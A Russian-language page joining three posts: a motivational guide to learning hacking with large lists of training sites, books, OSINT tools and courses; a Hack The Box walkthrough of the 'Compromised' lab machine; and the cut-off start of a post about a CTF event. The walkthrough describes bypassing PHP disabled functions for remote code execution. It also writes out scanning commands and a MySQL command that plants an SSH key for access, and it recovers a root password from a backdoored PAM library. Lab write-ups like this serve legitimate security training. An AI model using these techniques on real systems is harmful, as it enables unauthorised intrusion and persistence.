    А потому никто не может знать, принесет ли мне занятие хакингом истинное удовольствие в жизни, стану ли я топ-10 на hackerone и заработаю милльоны-милльонов долларов на этом? (спойлер - если вы решили заниматься хакингом исключительно ради денег можете закрыть эту статью и забыть обо всём что прочитали как страшный сон, эта сфера точно не для вас просто потому что вы быстро выгорите и вам быстро надоест), стоит ли мне записаться на курсы? Или заниматься самому? Читать мне эту книгу или вот эту?

    До тех пор пока вам приносит это удовольствие и делает счастливым - продолжайте это делать и старайтесь делать это отлично, будьте честны с собой и результатами которые показываете, будьте достаточно строгими к себе и требовательными, но и умейте хвалить себя за проделанную работу и награждать (это важно для того, чтобы быть успешным и закреплять в себе правильные паттерны и пути мышления) и самое главное вовремя и качественно отдыхать (это тоже навык, которому надо учиться и увы не все умеют это делать).

    Я хочу чтобы вы вспомнили себя детьми или те у кого есть дети и они сейчас учатся ходить.
    Если посмотреть на детей и их многочисленные попытки научиться ходить - вы не увидите ни одного ребёнка, который после пары падений на зад, сядет, закинет ногу на ногу и смачно посасывая соску аки заправскую сигару скажет "знаешь, пожалуй мне стоит записаться на курсы по ходьбе, я не справлюсь с этим никогда сам, пожалуй это не моё, я не достаточно для этого подготовлен, вон Света ходила на курсы и её там научили ходить за неделю, представляешь?"

    На данном изображении приведен пример того как происходит выход из зоны комфорта и постепенный переход в зону роста, через зону страха и обучения с попутными состояниями в каждой зоне.

    Всё что вы увидите - это нескончаемые падения и вставания после падений. 0 оправданий, 0 поиска причин почему не удалось и самокопания в себе. Это лишь чистые, честные постоянные попытки в которые дети вкладывают все свои усилия, навыки и знания.
    До тех пор пока не будет достигнут единственный верный результат - уметь ходить как все.

    И мне хотелось бы чтобы такой менталитет и такое отношение к своим занятиям, ошибкам и сложностям которые вас поджидают вы закрепили у себя в головах.
    Не важно что вы делаете, учитесь готовить, крутить заднее сальто, приседать со штангой или пытаетесь научиться эксплуатировать SQL-инъекции - если вам это дорого, вы любите это и вам интересно - отриньте мысли о неудаче и то, что у вас что-то может не получиться. И тогда ничто не будет вам мешать, всё время и возможности которые есть у вас, откроются у вас перед глазами, останется только взять и пользоваться ими.

    Проблема это лишь эмоциональное состояние. Без эмоций - это просто ситуация.

    Задачи не должны быть слишком простыми, иначе ты потеряешь интерес.
    Задачи не должны быть слишком сложными, иначе ты просто уйдешь в отказ.

    Баланс доступности задачи и её сложности - сохраняет живость и интерес к ней.

    Можно прибегнуть к разным подходам, таким как Закон Парето или нагуглить кучу разных видео с Ted talks, или вот такую диаграмму в виде пирамиды,, или очередное мотивирующее видео - суть остается одна и та же.

    Мы люди, основным интерфейсом которым мы контактируем с внешним миром всё также остается наше тело, наше тело имеет свойство реагировать на разные раздражители по разному и из этого формировать симбиоз чувств+эмоций, исходя из этого мы принимаем те или иные решения в своей жизни, которые приводят нас или уводят нас от того, чего мы действительно желаем.

    Посему закон простой - пойми как устроен и функционируешь ты - поймешь как можно контролировать себя - поймешь что можно делать со своей жизнью.

    В этом вся суть хакинга.

    Изучить неизвестное, разобрать на компоненты, изучить детально компонент, собрать и посмотреть как работает вся система или части системы - научиться управлять этим так, как хочешь ты, а не так как есть по дефолту.

  • Аспект 3.

    Выгорание и фрустрация.

    Сфера информационной безопасности невообразимо огромна. Пентест, реверс, беспроводные сети, физический пентест, OSINT, ботнеты, форензика, 0-day уязвимости, DDOS/DOS атаки, сетевые уязвимости, уязвимости мобильных устройств, военная промышленность, банковское ПО, криптография и шифры - это лишь часть того, что я вспомнил наугад из головы, где информационная безопасность не просто важна, а играет жизненно-важную роль для функционирования той или иной отрасли.

    Не хватит одной человеческой жизни, чтобы осилить каждую сферу и стать невероятно крутым спецом, знающим своё дело как никто другой в области в инфобезе.

    Я потратил весь прошлый год, только на то, чтобы вспомнить университетскую базу и в целом вновь окунуться в мир инфобеза, понять что вообще сейчас происходит, какие хакеры кого терроризируют, какие тулзы используются в криминалистике, а какие в пентестах, что такое реверс и как пользоваться burpsuite. И почти всегда меня сопровождало ощущение "ё-маё, ну неужели я такой тупой, что не могу запомнить такие простые вещи как HTTP заголовки или модель OSI, или как мне и когда собирать информацию о цели, что такое SQL инъекция и как вообще мне её применять".
    Но я старался не обращать внимание на подобные мысли, потому что я понимал, что я сейчас выстраиваю свой базис, основу на которую я буду сверху накидывать уже костяк своих умений и далее плясать в те сферы, которые мне будут наиболее интересны.
    Посему я просто давал подобным мыслям, фрустрации и нежеланию продолжать немного повариться во мне - отвлечься на ютуб, покушать вкусной еды, покачать пресс - и возвращался вновь к тому, на чём останавливался.


    Постоянно напоминайте себе о том, куда вы идёте, зачем и почему. Это полезно, это подзаряжает мотивацию, напоминает вам и позволяет высунув голову из тонны документации и текста с практикой - оглядеться, осознать на каком вы этапе и что вообще вы делаете сейчас и куда движетесь.(порой когда увлечешься какой-то темой, можешь вообще забыть с чего ты начинал, я не единожды начинал читать про модель OSI, а заканчивал в итоге про настройку сертификатов HTTPS соединения и как это сделать на apache2 и nginx или начинал изучать HTTP методы, а через полчаса находил себя за просмотром видео по тому как ломать wi-fi сети).

    Также нужно помнить что каждый из нас по разному толерантен к фрустрации и неудачам. Для кого-то затяжные провалы и неудачи могут не иметь серьезного эффекта на процесс обучения, работы и повседневной жизни, для кого-то даже легкая неудача равносильна гибели и провалу всей жизни, которая выбивает из распорядка дня на продолжительное время и заставляет зациклиться мыслями про неё.

    Однако, спешу обрадовать всех, кому сложно справляться со своими неудачами из-за чего создается и переносится целый ворох проблем попутно с этим страхом.
    Подобную толерантность вполне реально натренировать как любую другую мышцу тела (ну почти любую.

    Достаточно лишь взглянуть на очередную, нагло стыренную мной инфографику с ресурса о котором я сейчас ниже буду детально писать:

    Как видно из картинки выше - когда у нас есть четкое видение, навыки, наши стимулы выстроены, у нас достаточно ресурсов (денег, еды, мы выспались, морально готовы браться за очередную ответственность, у нас подготовлен и разработан первичный план действий и намечены основные майлстоуны по достижению которых мы проверим свой прогресс) и у нас есть план действий, которому мы будет следовать пока пробираемся через наш любимый, в самом начале описанный дремучий лес - мы четко и уверенно придём к точке под названием - Организованный успех.

    Если же у нас не хватает видения - то тогда рождается замешательство - где начать? откуда? что мне читать? а правильно ли я делаю, начав с этой книги, не пропускаю ли я каких-нибудь важных основ?

    Если у нас не хватает скиллов - мы начинаем чрезмерно волноваться и беспокоится что мы не справимся - как можно пройти дремучий лес, зайдя в него наполовину, без карты или хотя бы компаса?

    Если у нас недостаточно стимулов - происходит медленная, но верная смена интереса и затухание, в итоге мы сначала говорим "всё круто я справлюсь", потом это меняется на "да всё ок, должен справиться", "я не знаю справлюсь ли" и финальное и любимое "у меня не получится".

    Если не хватает ресурсов - мы впадаем в хорошо всем знакомую фрустрацию и как следствие нежелание вообще за что-либо браться или что-либо делать.
    Если нет четкого плана действий - то сложно понять куда двигаться, какие этапы проходить и как достичь желаемой цели.

    Главное помните о том, что ваши эмоциональные переживания временны.
    Чем чаще вы сталкиваетесь с чем-то и учите себя бороться с переживаниями - тем более толерантными к подобным переживаниям вы становитесь.

    Продолжайте двигаться к своей цели и у вас обязательно получится сделать то, что вы задумали.

Итак, подытожив очередную простыню, хочется сказать - ребята, не отчаивайтесь, это сложно, но правда очень интересно и увлекательно, стоит вам просто поверить в свои возможности и продолжать топить и оттачивать свои навыки и повышать количество знаний.

Hack is life. Или мой чемоданчик джентльмена

Ну что касатики, вот мы и добрались до самого желанного пункта данной статьи.

Ранее я не раз повторял фразу, что мир информационной безопасности невероятно велик.

Несмотря на то, что я постарался за своё прошлогоднее путешествие нагуглить и собрать максимум ресурсов и ссылок по всем возможным областям - я уверен, что список можно и нужно будет дополнять и добавлять по мере устаревания статьи.

Однако у многих людей с кем я обсуждал тему самостоятельного изучения темы хакинга красной нитью пролегает вопрос - "Каков порядок изучения?", а также "Где оттачивать скилы и что изучать?" - то я постараюсь ответить на эти два вопроса максимально ёмко.

1) Каков порядок изучения?

Отвечая просто - я считаю, что есть 3 пути.
Все они в любом случае зависят от вашего бэкграунда и начальных знаний.
Можно заниматься бесплатно и самостоятельно - тогда времени уйдет больше и придётся его потратить на то, чтобы настроиться сначала на область занятий, подготовить материал, учебный план и расписать свой путь (он же роадмап), затем перейти к самостоятельным занятиям, отслеживать свой прогресс, уметь мотивировать себя, ставить посильные задачи и т.д. и т.п..
Можно покупать курсы и получать структурированную информацию в одном месте и сразу.
Можно комбинировать.
Можно качать курсы с торрентов (я бы так ни за что не сделал, вы что).

В любом случае экспериментируйте. Нет одного верного способа научиться хакингу. У всех свои истории, у каждого свой путь.

Можно идти сверху-вниз.
Начав изучать к примеру устройство ОС (linux, windows) и спускаться вниз по мере возникновения понимания как работает программа или наоборот не понимания как именно обменивается программа данными, как она их получает и как вообще происходит вся магия за монитором.

Или идти снизу-вверх.
Вы покупаете, скачиваете Таненбаума, Олифера, книгу Код - и идёте от низкого уровня - как устроены компьютеры и железо, и что вообще можно из них выжать - до высокого уровня работы программ, эксплуатации уязвимостей, поиска этих самых уязвимостей, защиты от них и т.д.

Или идти так, как удобно тебе.

Да-да, можно создать свой порядок следования и изучения тем, инструментов, ОС, чего угодно.
Например, я пользуюсь mind-map программой XMind ZEN (не реклама если чо) - которая позволяет мне создавать удобные майнд-мепы.

Пример моих майнд-мепов.

Подобные майнд-мепы позволяют мне отслеживать свой прогресс, записывать в удобном формате и виде то, что я просмотрел и изучил, а также это весьма удобно. если хочешь в одном месте иметь древовидную структуру и отслеживать свой прогресс.

Однако, несмотря на многие "гайды" и подобные моим статьи - в интернете на зарубежных ресурсах таких как hackthebox, tryhackme ,pentesterslab (не спешите бежать гуглить, все ссылки будут ниже) - есть уйма уроков структурированных в том формате, в котором стоит начинать изучение темы хакинга.


Отвечая на второй вопрос.

2) "Где оттачивать скилы и что изучать?"

Думаю здесь уже стоит ввести некоторую разбивку на категории, которые я создал исключительно сам исходя из своих субъективных суждений.


Категории следующие:

1) Ресурсы для обучения (места где можно тренироваться использовать полученные навыки по пентесту и хакингу + ctf площадки типа hackthebox).

В данной категории будут изложены те ресурсы, на которых тренируюсь и обучаюсь я и сегодня (или которые планирую использовать в обозримом будущем - их меньшинство).

  • https://academy.hackthebox.eu/ - онлайн академия от достаточно популярного ресурса hackthebox. Здесь вы сможете найти модули по фундаментальным знаниям (Windows, Linux fundamentals, как работать с основными тулзами в kali linux, что такое обфускация, что такое Stack-Based Buffer Overflows on Linux x86, DNS enumeration и многое-многое другое). Основа бесплатна - остальные Tier - модули обучения - платны. Но цены весьма адекватные, а материал для старта вполне адекватен по качеству и количеству + сам Hackthebox тут же под рукой, на котором можно отточить все только что полученные навыки.

  • https://picoctf.org/ - CTF площадка от университета Carnegie Mellon на которой можно оттачивать свои навыки пентестера

  • https://www.professormesser.com/ и https://www.youtube.com/user/professormesser - полноценные курсы как в бесплатном, так и в платном доступе по сертификатам

  • https://www.pentesteracademy.com/ - очередной достаточно знаменитый ресурс для тренировок и оттачивания своих навыков (дебаггеры, wi-fi челенджи, network pentesting, web pentesting, forensics) - к тому же до 31 января 2021 у них сейчас вроде как скидоны идут (как и в течении года) - можно урвать хороший доступ к куче лаб и обучающим курсам и виде.

  • https://www.hacker101.com/ - замечательный ресурс с достаточным количеством видео и упорядоченным списком что изучать и в каком порядке - более чем достаточен для старта и дальнейших самостоятельных занятий.

  • https://www.learnqa.ru/security - не проходил, но по отзывам для старта веб-пентеста самое то.

  • https://academy.tcm-sec.com/courses и https://www.youtube.com/c/thecybermentor - один из первых ресурсов, которые я нашёл, когда начал изучать и искать инфу по теме хакинга - TheCyberMenthor - на сайте представлены платные курсы, на ютубе есть огромные 5-15 часовые полноценные курсы по пентесту, веб-пентесту, основам линукса и куче всего остального. Прелесть в том, что на ютубе, в бесплатной 15 часовой версии обучающей по пентесту - есть практически всё, что нужно для того, чтобы посмотреть на рабочий день пентестера, увидеть как юзаются тулзы.

  • https://book.hacktricks.xyz/ - хотите освоить основы эскалации привелегий на linux и windows? работать с shell'ом и заливать paylod'ы? Тогда вам точно следует изучить блог данного парня.

  • https://www.hacking-lab.com/ - очередная площадка для отработки CTF - но в этой есть также лабы на которых можно потестить sms spoofing и в целом "пощупать" уязвимости телефонии.

  • https://ctftime.org/ - площадка на которой можно принимать участие в upcoming CTF батлах и кубках. Можно командой, можно в соло.

  • https://sqlbolt.com/ - хотите научиться работать с SQL и понять вообще как он устроен, научиться писать запросы? Точно пройдите этот тренажер.

  • https://linkmeup.ru/sdsm/ - я думаю такая титаническая работа как "сети для самых маленьких" и иже с ним не нуждается в рекламе. А если вы не знаете кто это и что это - то тем более бегом туда.

  • https://github.com/bkimminich/juice-shop - очередной аналог DVWA или metasploitable2-3 - уязвимые ОС и веб сайты, для оттачивания своих навыков в эксплуатации уязвимостей.

  • http://www.iso27000.ru/katalog-ssylok/hakerskie-saity - ребят, ну самые настоящие хакерские сайты, что вам ещё надо?

  • https://xakep.ru/ - олды тут?

  • https://stepik.org/course/127/syllabus - думаю мне не нужно рекламировать Stepik? Помимо этого курса есть с десяток других, которые стоит обязательно просмотреть. Как по общим знаниям операционных систем, так и по сетям, устройству ЭВМ, основам программирования и куче всего интересного и полезного

  • https://www.hacksplaining.com/ - великолепный ресурс с инфографиками, гифками и пояснениями основных уязвимостей и того, как именно они работают. Очень рекомендую. Люблю такие простые и крайне понятные инфографичные ресурсы.

  • https://xss-game.appspot.com/ - хотите научиться находить XSS уязвимости за которые можно получать до 7500$ за одну найденную уязвимость? Тогда стоит посмотреть что там по ссылке.

  • https://www.hackers-arise.com/ - вырвиглазный форум с полезной инфой старого поколения и образца.

  • ine.com - великолепный ресурс, который имеет как платные, так и бесплатные модули, по которым можно набить себе базу по пентесту, реверсу и в целом по информационной безопасности.

  • https://pentesterlab.com/ - отличный ресурс для тренировок по CTF и пентесту с кучей лаб. Дешево стоит если покупать на год доступ.

  • https://jehy.github.io/mami/# - просто полезный ресурс, почитать про уязвимости.

  • https://overthewire.org/wargames/ - хотите научиться основным командам и работе в терминале ? Тогда этот ресурс с мини играми расположенными на удаленных ssh лабах точно для вас. Самый простой порог вхождения в CTF + обучает одновременно азам работы в линуксе.

2) Форумы, каналы, блоги, библиотеки книг.

Наиважнейшая ортодоксальная часть как форумы.
Список книг для обязательно (и не очень) изучения.

  • Таненбаум Э. - Компьютерные сети (5-е издание)

  • Таненбаум - Современные операционные системы

  • Олифер - Компьютерные сети. Принципы, технологии, протоколы (кстати в прошлом году вышел свежак этой книги)

  • Яворски П. - Основы веб-хакинга. Как зарабатывать деньги этичным хакингом.

  • Скабцов Н. - Аудит безопасности информационных систем (2018)

  • Эриксон Дж. - Хакинг искусство эксплойта (старая книга, но переиздание было пару лет назад, в любом случае актуальна как для новичков, так и для среднего уровня)

  • Мануал по Shodan - hackerlib (гуглите, ищите сами, заодно потренируетесь в OSINT)

  • Макконел С. - Совершенный код. Практическое руководство по разработке программного обеспечения

  • Парасрам Ш. - Kali Linux. Тестирование на проникновение и безопасность (2020)

  • Гейер Дж. - Беспроводные сети. Первый шаг.

  • Херцог, О'Горман, Ахарони - Kali Linux от разработчиков (Компьютерная литература) - 2019

  • Милосердов А. - Тестирование на проникновение с помощью Kali Linux 2.0 - 2015

  • Кофлер М. - Linux. Полное руководство - 2011

  • Колисниченко Д.Н. - Linux. От новичка к профессионалу, 6-е изд. (В подлиннике) - 2018

  • https://codeby.net/ - форум с кучей полезной инфы. Также у них есть пара курсов от создателей форума, по отзывам вроде ок. Я не тестил.

  • https://hackaday.com/ - англоязычный форум, свежие новости, но в основном всякий варезный и diy фан.

  • https://hacker-basement.ru/ - подвальчик хакера - нужно другое пояснение?

  • http://rus-linux.net/ - хотите быть в курсе последних изменений в мире линукса - надо сидеть тут.

  • http://dorlov.blogspot.com/2011/05/issp-cissp-all-in-one-exam-guide.html - говорят монстры среди монстров и отцы отцов только смогли прочитать эту книгу от начала и до конца.
    Ну а в целом очень полезное чтиво для уже подготовленного ума и начинающего.

  • https://hackware.ru/?page_id=1735 - просто куча разной литературы по хакингу и безопасности. Чекай и наведи порядок сам

3) OSINT.

Всё что связано с пробивом и поиском информации и в целом со скиллом, который должен быть развит на достаточном уровне у любого хакера - разведка из открытых источников.

  • Научись пользоваться google dorks или google hacking - невероятно расширяет доступ к поиску нужной информации, особенно если овладеешь этим скиллом как следует.

  • https://osintframework.com/ - отец всех отцов - старый добрый osintframework - почти все нужные тулзы собранные в одном месте, просто выбери нужную ветку, найди название фреймворка или тулза - загугли и юзай.

  • https://telegra.ph/Podrobnoe-opisanie-besplatnyh-modulej-v-Maltego-09-27 и https://telegra.ph/CHAST-2-09-29-2 - что такое Maltego и как пользоваться одним из основных инструментов для OSINT'a читать здесь (в двух частях)

  • https://www.spiderfoot.net/ - платформа с различными автоматизированными тулзами и плюшками для тех чья работа - пробив и поиск информации.

  • https://namechk.com/ - хотите пробить пользователя по нику и узнать где ещё он зарегистрировался с подобным? Ваш выбор номер 1 (не включая конечно фреймворки внутри kali)

  • https://www.social-searcher.com/social-mention/ - надо отследить часто повторяющиеся и упомянутые тренды? Тогда эта тулза выручит

  • https://hunter.io/ - надо найти связь почты и компании? Определенно пользуйся этим. Более 100 млн индексированных страниц дадут точный результат.

  • https://vas3k.ru/blog/389/ - полезная статья с которой началось моё знакомство с OSINT и техниками поиска информации.

  • https://search.buzz.im/ - в пояснении думаю не нуждается.

  • Обязательно посмотреть видео и почитать книги Андрея Масаловича - если ваша цель стать крутым OSINT'ером

4) Youtube каналы и курсы (какие-то скачаны с торрентов, какие-то куплены по акциям, "скидончики в пятерочке наше всё").

Всё и вся, что только можно нарыть на англоязычном и русскоязычном ютубе по тематике кибербезопасности.

  • https://www.youtube.com/c/PwnFunction/videos - основы OWASP-10 уязвимостей в формате красочных, простых и понятных коротких видео.

  • https://www.youtube.com/watch?v=fB3DI48MNno&list=PLnjNR4-S-EVqfJWovxEJyb7I0IOkKkoYM - не самый свежий, но вполне годный полноценный туториал курс по работе с kali linux и первыми шагами в направлении пентеста.

  • https://www.youtube.com/c/HackerSploit - пентест, основы работы с линуксом и терминалом, работа с основными тулзами в kali linux, разбор и объяснение основных уязвимостей и былых 0-day, научиться использовать Metasploite и много-многое другое.

  • https://www.youtube.com/c/KirillSemaev - старый добрый Семаев, хотите обучиться как юзать линукс в боевых задачах и условиях - милости прошу (его видео не имеют никакого особого отношения к пентесту или безопасности, скорее к общим навыкам работы с линуксом)

  • https://www.youtube.com/c/webpwnized - один из лучших англоязычных чуваков, которые очень понятно и доступно объясняют основы линукса, пентеста, настройки burp и owaspzap и тонна других полезных тем разбирается.

  • https://www.youtube.com/c/devnull1337 - кодинг, хакинг, много кофе - что нужно ещё? Иногда разбирает пройденные таски на picoCTF - который я указал ещё в первом пункте. Так что если застряли где-то - не стесняйтесь дать себе подсказку.

  • https://www.youtube.com/channel/UCQfwKTJdCmiA6cXAY0PNRJw - канал преподавателя Тимофея Хирьянова - нужны академические азы программирования, информатики и основ ЭВМ? Вам точно сюда

  • https://www.youtube.com/c/JohnHammond010 - прям как CyberMentor что упоминал я выше, только со своей колокольни.

  • https://www.youtube.com/user/RapidBug - очень толковая и крутая девчонка, которая расскажет, объяснит и покажет как начать свои похождения в веб-пентесте и научиться находить первый баг за который заплатят денюжку на hackerone.

  • https://www.youtube.com/channel/UCSXe3vOtFuMQnchDyGPi-fQ/videos - хакинг для самых маленьких. Не самое свежее, но годное.

  • https://www.youtube.com/watch?v=wBp0Rb-ZJak - фул курс по линуксу.

  • https://www.youtube.com/c/%D0%9A%D0%B0%D1%82%D0%B0%D0%BD%D0%BE%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F%D1%85/ - вот какая ссылка бывает, когда название канала на русском языке - узнать про нетсталкинг, осинт, слежку через камеры - и в общем популярным языком на коротких, красочных видео завлечь и развлечь себя ненадолго темой хакинга можно тут.

  • https://www.youtube.com/c/LiveOverflowCTF - достаточно известный канал и известный хакер в своих кругах.

  • https://www.youtube.com/c/ChrisGreer/videos - работа с wireshark, сетями, протоколами

  • https://www.youtube.com/c/devcentral/ - очень толковый канал, на котором можно найти подробные и очень понятные объяснения различных технологий (шифрование, безопасность, devops и многое другое)

  • Linux для начинающих (OTUS)

  • [OTUS] Пентест. Практика тестирования на проникновение (2019)

  • Хакинг веб-приложений, атака на куки (2018 Pluralsight)

  • https://www.youtube.com/channel/UC5gufuYHPSsJA-jul-iwyXA Курс по сетям и основам коммуникаций (Андрей Созыкин)

  • [HTML Academy] Профессиональный онлайнкурс HTML и CSS, уровень 1 (2020)

  • [jsexpert] [Евгений Калюжный] Понятный JavaScript (Beginner)

  • [SkillBox] [Вадим Шандринов] Python-разработчик

  • [Udemy] Полный Курс Python 3 от Новичка до Мастера (Питон, Пайтон) [Jose Portilla]

  • Kali Linux Для Начинающих (2018) Видеокурс (HackersAcademy)

  • Learn Hacking Windows 10 Using Metasploit From Scratch (iSecurutyPro) - какой-то индийский курс

  • Pentester Academy - Python For Pentesters

  • Udemy - SQL для начинающих с нуля до сертификата Oracle (2019)

  • Модель OSI и стек протоколов TCP-IP (GeekBrains)

  • Тестирование защищенности веб-приложений (software-testing ru)

  • Jason Dion - Анатомия кибератаки начинающий взлом с Metasploit! (2019) https://cloud.mail.ru/public/3ebg/o1im3g5fE/

  • Изучаем Python и взлом систем с нуля (2018) Заид Саби

5) Программирование.

Хоть тема и смежная, но в любом случае жизненно-важная для любого уважающего себя хакера.

6) WEB и всё что связано с веб-пентестом.

  • https://portswigger.net/web-security/learning-path - ресурс компании portswigger - создателей BurpSuite - имеют собственную академию онлайн в которой уйма и тонны полезной информации по веб-пентесту. Если хотите в будущем заниматься поиском багов и тестированием сайтов на уязвимости - вам точно следует вдоль и поперёк прочитать данный ресурс.

  • https://urlscan.io/ - надо узнать список субдоменов, доменов и технологий которые юзаются на сайте? urlscan твой друг товарищ и брат.

  • Расширение Wappalyzer в Chrome- позволяет просматривать расширения и технологии используемые на сайте.

  • Поставьте себе Firefox Multi-Account Containers - незаменимая вещь для проведения веб-пентестов. Позволяет легко и быстро переключаться между 4 разными пользователями с 4 разными куками, чтобы посылать 4 разных запроса не разлогиниваясь. Ну думаю понятно?

  • https://securityheaders.com/ - полезная тулза для проверки заголовков сайта.

  • https://builtwith.com - очередная тулза, которая позволяет получить полезную инфу в ходе сбора данных по сайту.

  • dehashed.com - узнать утекли ли креды на вашем сайте во вне, весьма полезная, но платная платформа

  • https://owasp.org/www-project-web-security-testing-guide/ - ну и как же без owasp ресурса компании, которая и занимается структурированием и категоризацией уязвимостей на сегодняшний день. Если что-то и будет появляться нового по уязвимостям - то точно в первую очередь у них.

7) Внешние инструменты вне ОС + железо (ПО).

  • https://urlscan.io/ - надо узнать список субдоменов, доменов и технологий которые юзаются на сайте? urlscan твой друг товарищ и брат.

  • https://market.yandex.ru/product--wi-fi-adapter-alfa-network-awus036ach/12473758 - тот самый знаменитый Alpha адаптер для тренировок по взлому wi-fi сетей (дисклеймер не взламывайте чужие сети, доступа к которым вы не имеете, это плохо, ломайте только те, доступ и разрешение к которым у вас есть)

8) Reverse engineering.

  • https://www.manhunter.ru/ - хотите уметь в настоящий мужской реверс и ассемблер? Конечно хотите.

  • https://www.youtube.com/c/LiveOverflowCTF - достаточно известный канал и известный хакер в своих кругах + также топит за реверс.

  • https://forum.reverse4you.org/c/materials/8?order=activity - хотите знать про реверс - точно надо сюда

  • http://personeltest.ru/aways/habr.com/ru/users/yashechka/posts/ - введение в реверс + адванс введение в реверс, одним словом на хабре куча статей по реверсу. Поиск в помощь.

  • https://yutewiyof.gitbook.io/intro-rev-ida-pro/ - однажды после очередного собеседования на позицию джуна мне сказали подготовиться по этой книге и решить тестовое (я конечно же этого не сделал). Но книга очень годная. Обязательна к прочтению.

  • https://www.corelan.be/ - надо в хардкорный реверс? там есть его с головой.

  • rdot.org - олдскул, реверс, хакинг, программирование и живое общение - пой душа, несись в рай.

  • Реверс-инжиниринг курс от OTUS

9) Bugbounty площадки

Как видите, списки получились весьма внушительные, если учесть что каждая ссылка введет на отдельное исследование и заслуживает как минимум нескольких десятков часов изучения - то не стоит ожидать что я смог учесть все возможные стоящие ресурсы для изучения.
Помимо того количества что я указал в статье, есть приблизительно вдвое больше, которых я не указал и/или не знаю о которых.

Поэтому как всегда - финальный результат всегда за каждым из вас.

Кто-то сможет найти ещё более крутые ресурсы, чем я.

Заключение

Написание данной статьи было решением принятым абсолютно случайно.

Я написал её сегодня за 5 часов без особой подготовки, одна из причин - потому что я записался на курс по веб-уязвимостям и в чате предложил поделиться своими накопленными знаниями с ребятами, записавшимися на курс и решил, если делиться - то делать это качественно и как следует, в удобном формате, который я бы смог редактировать время от времени.

Другая причина - мне давно хотелось это сделать и внести свою лепту в комьюнити в своей стране и на своём языке, так как этого действительно не хватает, но я всё оттягивал момент, потому что считал что нужно и можно подкопить ещё информации и структурировать её ещё более удобным и красивым образом.

В любом случае получилось то, что получилось.

Надеюсь мой стиль написания и размышлений не был слишком вычурным и был понятен тем, кто будет читать эту статью и даже им понравится.

В заключение хочу сказать - я лишь в начале своего пути и не знаю куда он меня заведёт.
Но даже сейчас и сегодня - мне было приятно внести свою лепту в компьюнити хакерства и информационной безопасности.

Надеюсь что и дальше этот тренд у меня удастся поддерживать на должном уровне и отдаче.

Спасибо.

Подробнее..

Hack The Box. ПрохождениеCompromised. RCE LiteCart и бэкдор pam_unix

23.01.2021 20:10:06 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.204, который я добавляю в /etc/hosts.

10.10.10.207compromised.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Давайте посмотрим сайт.

Находим только CMS - LiteCart. Давайте просканируем директории, и я делаю это с помощью gobuster.

gobuster dir -t 128 -u http://compromised.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php

И находим интересную директорию backup, а в ней архив.

Данный архив содержит исходные коды сайта.

Среди данных файлов мы и находим упоминание скрытого на сервере файла.

Файл содержит учетные данные админа.

Авторизуемся.

Entry Point

После изучения данной CMS, находим RCE эксплоит.

Но вот только он не отрабатывает как нужно.

Посмотрим код эксплоита. Используется функция system, которая, возможно, блокируется.

Давайте изменим нагрузку и вызовем phpinfo, чтобы посмотреть заблокированные функции.

И видим большой список таких функций. Для обхода данных блокировок можем использовать этот код. Данный PHP код мы чуть изменим, чтобы сразу выполнять запрошенные команды.

И изменим код эксплоита так, чтобы считать и отправить новый PHP код.

И данный код работает.

Глянем на пользователей и заметим, что у mysql есть bash.

Давайте удобный шелл, для этого используем webwrap.

USER1

Так как у mysql есть командная оболочка, то мы можем использовать службу как обычного пользователя, а именно выполняя команды из mysql. Учетные данные для подключения к базе данных должны быть расположены в конфигах.

Теперь, когда мы получили учетные данные, давайте проверим функции mysql.

И давайте сгенерируем SSH ключи и запишем публичный в домашнюю директорию службы с помощью execcmd.

mysql -u root --password=changethis -e "select execcmd('echo ssh-rsa AAAAB3NzaC1yc2EAAAADA/ ... 6GuPNZGryVNovs= ralf@ralf-PC > ~/.ssh/authorizedkeys');"

И заходим по SSH.

USER2

И мы можем прочитать логи, где можно поискать пароли.

Попробуем сменить пользователя с найденным паролем.

ROOT

После длительного изучения машины, была дана подсказка про название машины и использование бэкдоров. Давайте найдем последние измененные файлы.

find . -mtime -100 2>/dev/null

И находим скрытую библиотеку pamunix.so, причем есть такая же, видимо легитимная. Скачиваем этот файл.

scp sysadmin@compromised.htb:/lib/x8664-linux-gnu/security/.pamunix.so ~/tmp/

И закидываем в дизасемблер (я использовал Cutter). Среди строк находим password.

Посмотрим, где эта строка используется.

И видим сравнение пароля с шестнадцатеричными значениями, которые являются половинами строки.

Пробуем данную строку как пароль рута, и удачно авторизуемся.

Подробнее..

Как мы провели Hack and Learn Initiative CTF

28.01.2021 16:20:38 | Автор: admin

В декабре 2020 года, за неделю до нового года, компании Semrush и Mail.ru Group решили провести совместное обучающее мероприятие по информационной безопасности в формате CTF.
Причём тут разработчики, тестировщики и devops, зачем и почему расскажем в этой статье.

CTF соревнования уже не являются чемто новым, а практика их проведения в ITкомпаниях только растет. Сейчас будет довольно сложно найти человека, который не слышал о соревнованиях для хакеров.

Что такое CTF и почему сейчас про него слышно из каждого утюга

